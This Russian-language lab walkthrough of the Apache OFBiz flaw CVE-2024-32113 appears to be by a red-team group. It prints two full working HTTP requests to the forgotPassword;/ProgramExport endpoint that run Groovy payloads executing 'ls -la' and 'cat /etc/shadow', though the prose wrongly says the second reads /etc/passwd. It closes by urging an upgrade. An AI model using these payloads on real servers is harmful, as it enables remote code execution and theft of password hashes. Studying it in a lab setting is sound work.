Apache OFBiz CVE-2024-32113

от автора

Введение

Ранее в наших статьях мы уже упоминали Вам об уязвимостях CVE-2023-49070 и CVE-2023-51467 в Apache OFBiz, не прошло и пол года, как 05 августа 2024 была опубликована новая уязвимость с неправильным ограничением пути к закрытому каталогу CVE-2024-32113 (CVSS 3.x 9.8 баллов), затрагивающая версии ниже 18.12.14.

Для тех, кто мало знаком с данным решением, давайте еще раз узнаем, что это за продукт.

Apache OFBiz — это open-source программное обеспечение, включающее в себя множество различных приложений для интеграции и автоматизации множества бизнес-процессов предприятий.

В этой статье мы развернем уязвимую версию OFBiz и разберемся как эксплуатировать ее.

Данная статья представлена исключительно в образовательных целях. Red Team сообщество «GISCYBERTEAM» не несёт ответственности за любые последствия ее использования третьими лицами.

Подготовка

Как и для эксплуатации прошлых уязвимостей возьмем также ПО версии 18.12.09. Эта версия доступна на vulhub, откуда ее можно установить с помощью docker pull или docker-compose, предварительно скачав каталог с файлами настройки из GitHub-репозитория.

Скачиваем контейнер с помощью docker pull:

sudo docker pull vulhub/ofbiz:18.12.09 # - скачиваем версию 18.12.09
Команда sudo docker pull vulhub/ofbiz:18.12.09

Команда sudo docker pull vulhub/ofbiz:18.12.09

Запустим наш контейнер следующей командой:

sudo docker run -d -p 8443:8443 vulhub/ofbiz:18.12.09

После подготовки нашей инфраструктуры (уязвимого программного обеспечения Apache OFBiz версии ниже 18.12.14) приступим к практическому разбору данной уязвимости.

Разбор уязвимости CVE-2024-32113

Уязвимая конечная точка /webtools/control/forgotPassword позволяет злоумышленнику получить доступ к конечной точке ProgramExport, которая, в свою очередь, позволяет удаленно выполнять код в контексте пользователя, от имени которого запущено приложение.

Для выполнения RCE отправим следующий POST-запрос на конечную точку /webtools/control/forgotPassword видоизменив его:

POST /webtools/control/forgotPassword;/ProgramExport HTTP/1.1 Host: 127.0.0.1:8443 Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Linux" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Priority: u=0, i Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 59  groovyProgram=throw+new+Exception('ls+-la'.execute().text);

В результате мы получили Response, содержащий результат выполнения команды — текущий каталог с его содержимым.

Давайте теперь попробуем прочитать содержимое файла /etc/passwd отправив следующий запрос:

POST /webtools/control/forgotPassword;/ProgramExport HTTP/1.1 Host: 127.0.0.1:8443 Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Linux" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Priority: u=0, i Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 68  groovyProgram=throw+new+Exception('cat+/etc/shadow'.execute().text);

Response по нашему запросу выглядит следующим образом:

Заключение

В данной статье мы с Вами разобрали уязвимость с неправильным ограничением пути к закрытому каталогу через которую можно обратиться к компоненту ProgramExport Apache OFBiz для выполнения удаленных команд.

Данная уязвимость была устранена в версии 18.12.14.

Если у Вас установлен Apache OFBiz версии ниже 18.12.14, то мы настоятельно рекомендуем Вам обновится на последнюю версию данного решения.

Подписывайтесь на наш Telegram-канал https://t.me/giscyberteam


ссылка на оригинал статьи https://habr.com/ru/articles/843750/